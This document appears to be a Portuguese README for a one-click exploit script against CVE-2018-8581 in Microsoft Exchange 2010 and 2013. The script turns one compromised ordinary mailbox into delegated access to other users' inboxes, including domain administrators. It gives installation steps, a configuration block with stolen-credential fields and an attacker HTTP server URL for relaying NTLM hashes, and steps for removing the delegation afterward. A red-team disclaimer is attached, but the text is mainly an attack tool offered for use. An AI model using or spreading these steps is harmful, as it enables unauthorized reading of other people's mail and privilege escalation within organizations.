
CVE-2018-8581
Esta é uma vulnerabilidade de movimento lateral e escalonamento de privilégios a nível de caixa de correio.
Ela permite, após obter a senha de uma conta de caixa de correio com permissões normais, realizar a tomada de delegação da caixa de entrada de outros utilizadores (incluindo administradores de domínio).
Este script EXP é uma versão aprimorada de um clique modificada a partir do PoC original. Após configurar os parâmetros relevantes, ele irá automaticamente realizar as operações de adicionar e remover delegação da caixa de entrada do e-mail alvo, de modo a facilitar que departamentos de segurança de clientes e equipes Red Team realizem uma simulação de ataque em empresas autorizadas.
O PoC original utilizava dois scripts em conjunto para realizar a operação de adicionar regras de recebimento, o que não era muito prático no trabalho real de uma equipe Red Team. Além disso, o PoC original, além de exigir uma caixa de correio, exigia definir o SID do utilizador de e-mail alvo. No entanto, ao consultar o método de obter o SID do utilizador mencionado no artigo, não consegui reproduzi-lo com sucesso nos ambientes reais do Exchange Server 2010 e 2013 (o 2010 não possui opções relacionadas, e o 2013 indica falta de permissão). Por fim, minha abordagem foi realizar uma delegação reversa primeiro para obter o SID do utilizador de e-mail alvo e depois remover a delegação.
Instalar python-ntlm
pip install python-ntlm
Configurar os parâmetros relevantes no seguinte código do script:
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Executar o script, depois beba um chá de goji berry e aguarde um minuto.
![]()
Neste ponto, a caixa de entrada do TARGET_EMAIL foi delegada com sucesso para o CONTROLLED_EMAIL.
Visualizar a caixa de entrada do e-mail alvo no OWA ou Outlook.
Altere FLAG para 0, execute o script novamente, depois beba novamente um chá de goji berry e aguarde mais um minuto para remover a delegação adicionada anteriormente.
Já não tem permissão para aceder novamente.
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
Mais requisições da API EWS SOAP podem ser modificadas dentro da função make_relay_body().
Este script é apenas para fins de aprendizado e troca de conhecimento. O usuário deve cumprir as leis locais relevantes. Qualquer uso indevido e as responsabilidades legais decorrentes são de inteira responsabilidade do usuário, não do autor. Ao baixar e usar, o usuário concorda com os termos acima.